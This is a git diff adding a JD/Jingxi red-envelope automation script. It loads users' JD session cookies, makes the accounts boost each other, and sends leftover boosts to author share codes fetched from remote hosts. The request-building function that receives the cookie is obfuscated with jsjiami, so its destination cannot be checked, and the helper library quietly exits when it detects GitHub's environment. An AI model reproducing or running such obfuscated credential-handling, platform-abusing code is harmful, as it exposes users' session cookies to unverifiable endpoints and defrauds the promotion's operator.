t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jxlhb.js b/jd_jxlhb.js new file mode 100644 index 0000000..1491cb3 --- /dev/null +++ b/jd_jxlhb.js @@ -0,0 +1,324 @@ +/* +京喜领88元红包 +活动入口:京喜app-》我的-》京喜领88元红包 +助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 +温馨提示:如提示助力火爆,可尝试寻找京东客服 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京喜领88元红包 +4 10 * * * jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 10 * * *" script-path=jd_jxlhb.js,tag=京喜领88元红包 + +================Surge=============== +京喜领88元红包 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_jxlhb.js + +===============小火箭========== +京喜领88元红包 = type=cron,script-path=jd_jxlhb.js, cronexpr="4 10 * * *", timeout=3600, enable=true + */ +const $ = new Env('京喜领88元红包'); +const notify = $.isNode() ? require('./sendNotify') : {}; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +$.packetIdArr = []; +$.activeId = '489177'; +const BASE_URL = 'https://wq.jd.com/cubeactive/steprewardv3' + + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('京喜领88元红包\n' + + '活动入口:京喜app-》我的-》京喜领88元红包\n' + + '助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者\n' + + '温馨提示:如提示助力火爆,可尝试寻找京东客服') + let res = await getAuthorShareCode() || []; + let res2 = await getAuthorShareCode('http://cdn.annnibb.me/cf79ae6addba60ad018347359bd144d2.json') || []; + if (res && res.activeId) $.activeId = res.activeId; + $.authorMyShareIds = [...((res && res.codes) || []), ...res2]; + //开启红包,获取互助码 + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + await main(); + } + //互助 + console.log(`\n\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n\n`); + console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.canHelp = true; + $.max = false; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + for (let code of $.packetIdArr) { + if (!code) continue; + if ($.UserName === code['userName']) continue; + if (!$.canHelp) break + if ($.max) break + console.log(`【${$.UserName}】去助力【${code['userName']}】邀请码:${code['strUserPin']}`); + await enrollFriend(code['strUserPin']); + await $.wait(2500); + } + if ($.canHelp) { + console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) + for (let item of $.authorMyShareIds) { + if (!item) continue; + if (!$.canHelp) break + console.log(`【${$.UserName}】去助力作者的邀请码:${item}`); + await enrollFriend(item); + await $.wait(2500); + } + } + } + //拆红包 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.canOpenGrade = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + const grades = [1, 2, 3, 4, 5, 6]; + for (let grade of grades) { + if (!$.canOpenGrade) break; + if (!$.packetIdArr[i]) continue; + console.log(`\n【${$.UserName}】去拆第${grade}个红包`); + await openRedPack($.packetIdArr[i]['strUserPin'], grade); + await $.wait(1000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + await joinActive(); + await getUserInfo() +} +//参与活动 +function joinActive() { + return new Promise(resolve => { + const body = "" + const options = taskurl('JoinActive', body, 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log('开启活动', data) + data = JSON.parse(data) + if (data.iRet === 0) { + console.log(`活动开启成功,助力邀请码为:${data.Data.strUserPin}\n`); + } else { + console.log(`活动开启失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//获取助力码 +function getUserInfo() { + return new Promise(resolve => { + const body = `joinDate=${$.time('yyyyMMdd')}`; + const options = taskurl('GetUserInfo', body, 'activeId,channel,joinDate,phoneid,publishFlag,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log('获取助力码', data) + data = JSON.parse(data) + if (data.iRet === 0) { + console.log(`获取助力码成功:${data.Data.strUserPin}\n`); + if (data.Data['dwCurrentGrade'] >= 6) { + console.log(`6个阶梯红包已全部拆完\n`) + } else { + if (data.Data.strUserPin) { + $.packetIdArr.push({ + strUserPin: data.Data.strUserPin, + userName: $.UserName + }) + } + } + } else { + console.log(`获取助力码失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力好友 +function enrollFriend(strPin) { + return new Promise(resolve => { + // console.log('\nstrPin ' + strPin); + const body = `strPin=${strPin}&joinDate=${$.time('yyyyMMdd')}` + const options = taskurl('EnrollFriend', body, 'activeId,channel,joinDate,phoneid,publishFlag,strPin,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log('助力结果', data) + data = JSON.parse(data) + if (data.iRet === 0) { + //{"Data":{"prizeInfo":[]},"iRet":0,"sErrMsg":"成功"} + console.log(`助力成功🎉:${data.sErrMsg}\n`); + // if (data.Data.strUserPin) $.packetIdArr.push(data.Data.strUserPin); + } else { + if (data.iRet === 2015) $.canHelp = false;//助力已达上限 + if (data.iRet === 2016) { + $.canHelp = false;//助力火爆 + console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); + } + if (data.iRet === 2013) $.max = true; + console.log(`助力失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function openRedPack(strPin, grade) { + return new Promise(resolve => { + const body = `strPin=${strPin}&grade=${grade}` + const options = taskurl('DoGradeDraw', body, 'activeId,channel,grade,phoneid,publishFlag,stepreward_jstoken,strPin,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`拆红包结果:${data}`); + data = JSON.parse(data) + if (data.iRet === 0) { + console.log(`拆红包成功:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2017) $.canOpenGrade = false; + console.log(`拆红包失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jxhb.json") { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//关键地方 +var _0xod9='jsjiami.com.v6',_0x136d=[_0xod9,'LcOZwrHCvcKjbBoaIxU7cWrCilUPNMKnw6kgwrI7SCZgZsK+w5zCsH3CrQPCtlDCmcKQwqrCkMKVEgMWXDJIw7fDp3rDpcOTWW5oJ8OHwpHDmSnCmysnw6rCi8K9w6TDlz9wQMKow7tmIwgMwqbDksKnI8ObD1LDmQ==','wrXCjFZzMsOywovDiMOqwrw=','woA1w49IbG/Dpk0=','w7bCsBnDuw1tw7DCi8KWWsKKwoBUw6UTK8Onw5LDsjTDlzPClipV','w40wH8O4w4fDlS/DhBfCiMOXUsKtw7LCoXTDrsOOAFHCk1gXHFcqwpt+wqTCuG0zwr3CtnoVwpo=','TcKlwqg=','wo0NWg==','w6cZwq5Fa8OMFw==','wrfCvcODwqtm','w77CgmZzKcOtwoDDpg==','w7UGw6nChi0=','wqwUwo5UwphKwrXDnA==','V03CtsK3wrY=','w6/Cv0cgwqXDtA/Csw==','w5TDpzLCvwbDpMKnw6U=','wq3CtiLChMKO','wrUpwo5FfMKYSEc=','NsOBwqzCrsK1','w77ChHlSEsK/acKVwqw=','dcKuD8OvOXxcAsOMwoxBWkLDkVRUwpx7w54X','NcKXDsOfCg==','wrjCkD7CssKo','IcK8FcOuJmM=','UE7CjMKgwqEswrnCqA==','wqLCm8Ofwp1A','VHvCrMKiw5/DjA==','wqXCqWPCkcK2wpzDhwQ=','NMOJwqLDoms=','w5XCixvCnsOdwrM=','woPCvgHDhD9P','w4rCg3IEwo4=','TH7CssKvw57DhsOUfRNxwrpTwqvCksKFwq0UYcOdw7p4G8KtCH3Dk359Zw==','w7IwQ3XDlsKmw7zCm8OSaMOvGQkNUx1lw7w0wpDCmcKaw6TDiBNyLcK3w5EGVi/Cr8Kcw6tkw6PDpmfCisOvenJCw4/Dr8OlAcKZEExPWzrCi1V/w5ZxHcKHwogFHsK5HF03QzbCm8KWwoMFOyBswrc/wrrDkwICdAgzXAxNOcOyKArCnDlawrUMVsKxw7/CosKdwqjCiAXDsMOcwoFJwo4Uw7BLCcO7w7/Dqk3CrX9swq3CusOkNWbCpl0owoTCiQsvwpLCu2ZCYMOYwpfCrHnCjQ/CgUgsZMKJw6fCs8OIwpzCsHPDtcOUw6Ffw7HCl8O/XcO+PcOWw5V5wpZXwoDDvAvDkTXDjcO5wrVfbVNXNFl2wpNpw6/DhhhlwpJQw4d3DcO3GR8jwp1Gw4rCrcKENnZUw7t4ZMOjwoPCrMKdc0DDnsO4Tx7DiXzCrVcUE8KuQn/DtT8zw67CgktVw6oowpZ6wpTDgsOHOMKqw5rDnMKGN2TDixYsCsO+woXCrcKyw47DkQPCpyXDrgEcUcOrwrDCjMKHwrPDjT1xw6NufcK4akxEfsKfScOtLUMCwovDqCNeF0tawqTDj1zCpgjDk8OELDXDksO8w5w/w6rDhynDoMOhY8Ofw53DoB9Ew6Q6w7YiG8KEWV9lwp7DmDIl','wpLCh0PCg8Kt','JMKsVcOgLSBaGsOA','wpQ/wpE=','WuYBnjQsyrOjYbXihaAmi.com.v6=='];(function(_0x4d3f8b,_0x29a86b,_0x4d9443){var _0x4368bc=function(_0x535f7a,_0x2d7fbb,_0x5d13c1,_0x120242,_0x1ad1b8){_0x2d7fbb=_0x2d7fbb>>0x8,_0x1ad1b8='po';var _0x16bb74='shift',_0x2b3d51='push';if(_0x2d7fbb<_0x535f7a){while(--_0x535f7a){_0x120242=_0x4d3f8b[_0x16bb74]();if(_0x2d7fbb===_0x535f7a){_0x2d7fbb=_0x120242;_0x5d13c1=_0x4d3f8b[_0x1ad1b8+'p']();}else if(_0x2d7fbb&&_0x5d13c1['replace'](/[WuYBnQyrOYbXhA=]/g,'')===_0x2d7fbb){_0x4d3f8b[_0x2b3d51](_0x120242);}}_0x4d3f8b[_0x2b3d51](_0x4d3f8b[_0x16bb74]());}return 0x8dcf9;};return _0x4368bc(++_0x29a86b,_0x4d9443)>>_0x29a86b^_0x4d9443;}(_0x136d,0x142,0x14200));var _0x530e=function(_0x31f656,_0x242e53){_0x31f656=~~'0x'['concat'](_0x31f656);var _0x34c2fe=_0x136d[_0x31f656];if(_0x530e['zinAVS']===undefined){(function(){var _0x1903df=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x16c579='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1903df['atob']||(_0x1903df['atob']=function(_0x4d5f1a){var _0x5f3741=String(_0x4d5f1a)['replace'](/=+$/,'');for(var _0xbd09e=0x0,_0x26cb73,_0x187650,_0x10d2ee=0x0,_0x42a525='';_0x187650=_0x5f3741['charAt'](_0x10d2ee++);~_0x187650&&(_0x26cb73=_0xbd09e%0x4?_0x26cb73*0x40+_0x187650:_0x187650,_0xbd09e++%0x4)?_0x42a525+=String['fromCharCode'](0xff&_0x26cb73>>(-0x2*_0xbd09e&0x6)):0x0){_0x187650=_0x16c579['indexOf'](_0x187650);}return _0x42a525;});}());var _0x18e77a=function(_0x5ae3e4,_0x242e53){var _0x494202=[],_0x387ed3=0x0,_0x464d2f,_0x3f58e9='',_0x4b8300='';_0x5ae3e4=atob(_0x5ae3e4);for(var _0x23d0bc=0x0,_0x114f99=_0x5ae3e4['length'];_0x23d0bc<_0x114f99;_0x23d0bc++){_0x4b8300+='%'+('00'+_0x5ae3e4['charCodeAt'](_0x23d0bc)['toString'](0x10))['slice'](-0x2);}_0x5ae3e4=decodeURIComponent(_0x4b8300);for(var _0x2f8df4=0x0;_0x2f8df4<0x100;_0x2f8df4++){_0x494202[_0x2f8df4]=_0x2f8df4;}for(_0x2f8df4=0x0;_0x2f8df4<0x100;_0x2f8df4++){_0x387ed3=(_0x387ed3+_0x494202[_0x2f8df4]+_0x242e53['charCodeAt'](_0x2f8df4%_0x242e53['length']))%0x100;_0x464d2f=_0x494202[_0x2f8df4];_0x494202[_0x2f8df4]=_0x494202[_0x387ed3];_0x494202[_0x387ed3]=_0x464d2f;}_0x2f8df4=0x0;_0x387ed3=0x0;for(var _0x3828c5=0x0;_0x3828c5<_0x5ae3e4['length'];_0x3828c5++){_0x2f8df4=(_0x2f8df4+0x1)%0x100;_0x387ed3=(_0x387ed3+_0x494202[_0x2f8df4])%0x100;_0x464d2f=_0x494202[_0x2f8df4];_0x494202[_0x2f8df4]=_0x494202[_0x387ed3];_0x494202[_0x387ed3]=_0x464d2f;_0x3f58e9+=String['fromCharCode'](_0x5ae3e4['charCodeAt'](_0x3828c5)^_0x494202[(_0x494202[_0x2f8df4]+_0x494202[_0x387ed3])%0x100]);}return _0x3f58e9;};_0x530e['eROVYc']=_0x18e77a;_0x530e['kTcWSN']={};_0x530e['zinAVS']=!![];}var _0x3f1615=_0x530e['kTcWSN'][_0x31f656];if(_0x3f1615===undefined){if(_0x530e['RNUlzr']===undefined){_0x530e['RNUlzr']=!![];}_0x34c2fe=_0x530e['eROVYc'](_0x34c2fe,_0x242e53);_0x530e['kTcWSN'][_0x31f656]=_0x34c2fe;}else{_0x34c2fe=_0x3f1615;}return _0x34c2fe;};function taskurl(_0x10552c,_0x55ed91='',_0x53d809){var _0x195ffb={'fJuUC':function(_0x3e4e56,_0xb2386d){return _0x3e4e56+_0xb2386d;},'QSfPY':function(_0x5c5b33,_0x35de7a){return _0x5c5b33(_0x35de7a);},'YDCux':_0x530e('0','XYTi'),'RlBCI':_0x530e('1','2R&V'),'CAsfi':_0x530e('2','fYxG')};let _0x19d082=BASE_URL+'/'+_0x10552c+_0x530e('3','GT]x')+$[_0x530e('4','Y#&3')]+_0x530e('5','b@yi')+_0x55ed91+_0x530e('6','AKWG')+Date['now']()+_0x530e('7','pWj!')+(Date[_0x530e('8','8)3j')]()+0x2)+_0x530e('9','InMP');const _0x3968f3=_0x195ffb[_0x530e('a','dTWA')](_0x195ffb['fJuUC'](_0x195ffb['fJuUC'](Math['random']()[_0x530e('b','GT]x')](0x24)[_0x530e('c',')y[8')](0x2,0xa),Math['random']()[_0x530e('d','F!jF')](0x24)[_0x530e('e','h!e[')](0x2,0xa))+Math['random']()[_0x530e('f','pI^2')](0x24)['slice'](0x2,0xa),Math['random']()[_0x530e('10','Tlfp')](0x24)[_0x530e('11','*8UT')](0x2,0xa)),Math['random']()[_0x530e('12','InMP')](0x24)[_0x530e('13','fYxG')](0x2,0xa));_0x19d082+=_0x530e('14','rZlY')+_0x3968f3;_0x19d082+=_0x530e('15','XYTi')+_0x195ffb[_0x530e('16','XYTi')](_0x195ffb[_0x530e('17','*8UT')](Math[_0x530e('18','XYTi')]()[_0x530e('19','h!e[')](0x24)[_0x530e('1a','dTWA')](0x2,0xa),Math[_0x530e('1b',')hAe')]()[_0x530e('1c','L$CO')](0x24)[_0x530e('1d','uSZc')](0x2,0xa))+Math['random']()['toString'](0x24)['slice'](0x2,0xa),Math[_0x530e('1e','iAuv')]()[_0x530e('f','pI^2')](0x24)[_0x530e('11','*8UT')](0x2,0xa));if(_0x53d809){_0x19d082+=_0x530e('1f','EfqF')+_0x195ffb[_0x530e('20','pI^2')](encodeURIComponent,_0x53d809);}return{'url':_0x19d082,'headers':{'Host':_0x195ffb['YDCux'],'Cookie':cookie,'accept':_0x195ffb['RlBCI'],'user-agent':_0x530e('21',')hAe')+_0x3968f3+_0x530e('22','nC@y'),'accept-language':'zh-cn','referer':_0x195ffb[_0x530e('23','L$CO')]}};};_0xod9='jsjiami.com.v6'; + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 